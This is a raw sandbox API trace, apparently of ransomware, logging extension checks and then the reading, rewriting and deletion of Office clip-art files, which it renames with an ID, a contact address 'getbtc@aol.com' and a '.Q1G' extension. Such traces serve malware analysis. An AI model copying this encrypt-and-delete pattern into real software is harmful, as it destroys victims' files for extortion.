lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.862] lstrlenW (lpString=".ppt") returned 4 [0251.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.862] lstrlenW (lpString=".zip") returned 4 [0251.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.862] lstrlenW (lpString=".rar") returned 4 [0251.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString=".bz2") returned 4 [0251.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString=".7z") returned 3 [0251.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.862] lstrlenW (lpString=".dbf") returned 4 [0251.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.862] lstrlenW (lpString=".1cd") returned 4 [0251.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.862] lstrlenW (lpString=".jpg") returned 4 [0251.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.862] lstrlenW (lpString=".doc") returned 4 [0251.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString=".docx") returned 5 [0251.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.862] lstrlenW (lpString=".pdf") returned 4 [0251.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.862] lstrlenW (lpString=".xls") returned 4 [0251.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.863] lstrlenW (lpString=".xlsx") returned 5 [0251.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.863] lstrlenW (lpString=".ppt") returned 4 [0251.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.863] lstrlenW (lpString=".zip") returned 4 [0251.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.863] lstrlenW (lpString=".rar") returned 4 [0251.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.863] lstrlenW (lpString=".bz2") returned 4 [0251.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.863] lstrlenW (lpString=".7z") returned 3 [0251.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.863] lstrlenW (lpString=".dbf") returned 4 [0251.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.863] lstrlenW (lpString=".1cd") returned 4 [0251.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 63 [0251.863] lstrlenW (lpString=".jpg") returned 4 [0251.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.863] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.863] lstrlenW (lpString="HH00636_.WMF") returned 12 [0251.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.864] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1568) returned 1 [0251.864] CloseHandle (hObject=0x390) returned 1 [0251.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0251.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0251.865] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.865] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.979] GetLastError () returned 0x0 [0251.979] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x620, lpOverlapped=0x0) returned 1 [0251.981] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x630, lpOverlapped=0x0) returned 1 [0251.982] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.982] WriteFile (in: hFile=0x3a8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.982] SetEndOfFile (hFile=0x3a8) returned 1 [0251.982] CloseHandle (hObject=0x3a8) returned 1 [0251.982] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.982] SetEndOfFile (hFile=0x390) returned 1 [0251.984] CloseHandle (hObject=0x390) returned 1 [0251.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0252.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.015] lstrlenW (lpString=".doc") returned 4 [0252.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.015] lstrlenW (lpString=".docx") returned 5 [0252.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.015] lstrlenW (lpString=".pdf") returned 4 [0252.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.015] lstrlenW (lpString=".xls") returned 4 [0252.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.015] lstrlenW (lpString=".xlsx") returned 5 [0252.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.015] lstrlenW (lpString=".ppt") returned 4 [0252.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.015] lstrlenW (lpString=".zip") returned 4 [0252.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.015] lstrlenW (lpString=".rar") returned 4 [0252.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.015] lstrlenW (lpString=".bz2") returned 4 [0252.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.015] lstrlenW (lpString=".7z") returned 3 [0252.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.015] lstrlenW (lpString=".dbf") returned 4 [0252.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.015] lstrlenW (lpString=".1cd") returned 4 [0252.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.015] lstrlenW (lpString=".jpg") returned 4 [0252.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.016] lstrlenW (lpString=".doc") returned 4 [0252.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.016] lstrlenW (lpString=".docx") returned 5 [0252.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.016] lstrlenW (lpString=".pdf") returned 4 [0252.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.016] lstrlenW (lpString=".xls") returned 4 [0252.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.016] lstrlenW (lpString=".xlsx") returned 5 [0252.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.016] lstrlenW (lpString=".ppt") returned 4 [0252.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.016] lstrlenW (lpString=".zip") returned 4 [0252.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.016] lstrlenW (lpString=".rar") returned 4 [0252.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.016] lstrlenW (lpString=".bz2") returned 4 [0252.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.016] lstrlenW (lpString=".7z") returned 3 [0252.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.016] lstrlenW (lpString=".dbf") returned 4 [0252.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.016] lstrlenW (lpString=".1cd") returned 4 [0252.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 63 [0252.016] lstrlenW (lpString=".jpg") returned 4 [0252.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.017] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.017] lstrlenW (lpString="HH01058_.WMF") returned 12 [0252.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.017] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2756) returned 1 [0252.017] CloseHandle (hObject=0x324) returned 1 [0252.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0252.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.018] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.018] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.018] GetLastError () returned 0x0 [0252.018] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xac4, lpOverlapped=0x0) returned 1 [0252.020] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0252.020] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.020] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.021] SetEndOfFile (hFile=0x1fc) returned 1 [0252.021] CloseHandle (hObject=0x1fc) returned 1 [0252.021] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.021] SetEndOfFile (hFile=0x324) returned 1 [0252.023] CloseHandle (hObject=0x324) returned 1 [0252.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0252.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.024] lstrlenW (lpString=".doc") returned 4 [0252.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.024] lstrlenW (lpString=".docx") returned 5 [0252.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.024] lstrlenW (lpString=".pdf") returned 4 [0252.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.024] lstrlenW (lpString=".xls") returned 4 [0252.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.024] lstrlenW (lpString=".xlsx") returned 5 [0252.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.024] lstrlenW (lpString=".ppt") returned 4 [0252.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.024] lstrlenW (lpString=".zip") returned 4 [0252.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.024] lstrlenW (lpString=".rar") returned 4 [0252.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.024] lstrlenW (lpString=".bz2") returned 4 [0252.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.024] lstrlenW (lpString=".7z") returned 3 [0252.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.024] lstrlenW (lpString=".dbf") returned 4 [0252.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.024] lstrlenW (lpString=".1cd") returned 4 [0252.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.024] lstrlenW (lpString=".jpg") returned 4 [0252.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.025] lstrlenW (lpString=".doc") returned 4 [0252.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.025] lstrlenW (lpString=".docx") returned 5 [0252.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.025] lstrlenW (lpString=".pdf") returned 4 [0252.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.025] lstrlenW (lpString=".xls") returned 4 [0252.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.025] lstrlenW (lpString=".xlsx") returned 5 [0252.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.025] lstrlenW (lpString=".ppt") returned 4 [0252.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.025] lstrlenW (lpString=".zip") returned 4 [0252.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.025] lstrlenW (lpString=".rar") returned 4 [0252.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.025] lstrlenW (lpString=".bz2") returned 4 [0252.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.025] lstrlenW (lpString=".7z") returned 3 [0252.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.025] lstrlenW (lpString=".dbf") returned 4 [0252.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.025] lstrlenW (lpString=".1cd") returned 4 [0252.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0252.025] lstrlenW (lpString=".jpg") returned 4 [0252.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.025] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.025] lstrlenW (lpString="HH01065_.WMF") returned 12 [0252.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.026] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1268) returned 1 [0252.026] CloseHandle (hObject=0x324) returned 1 [0252.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0252.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0252.026] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.026] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.027] GetLastError () returned 0x0 [0252.027] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4f4, lpOverlapped=0x0) returned 1 [0252.028] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x500, lpOverlapped=0x0) returned 1 [0252.029] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.029] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.029] SetEndOfFile (hFile=0x1fc) returned 1 [0252.029] CloseHandle (hObject=0x1fc) returned 1 [0252.030] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.030] SetEndOfFile (hFile=0x324) returned 1 [0252.031] CloseHandle (hObject=0x324) returned 1 [0252.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0252.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.032] lstrlenW (lpString=".doc") returned 4 [0252.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.032] lstrlenW (lpString=".docx") returned 5 [0252.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.032] lstrlenW (lpString=".pdf") returned 4 [0252.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.032] lstrlenW (lpString=".xls") returned 4 [0252.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.033] lstrlenW (lpString=".xlsx") returned 5 [0252.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.033] lstrlenW (lpString=".ppt") returned 4 [0252.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0252.033] lstrlenW (lpString=".zip") returned 4 [0252.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.033] lstrlenW (lpString=".rar") returned 4 [0252.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.033] lstrlenW (lpString=".bz2") returned 4 [0252.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.033] lstrlenW (lpString=".7z") returned 3 [0252.033] lstrcmpiW 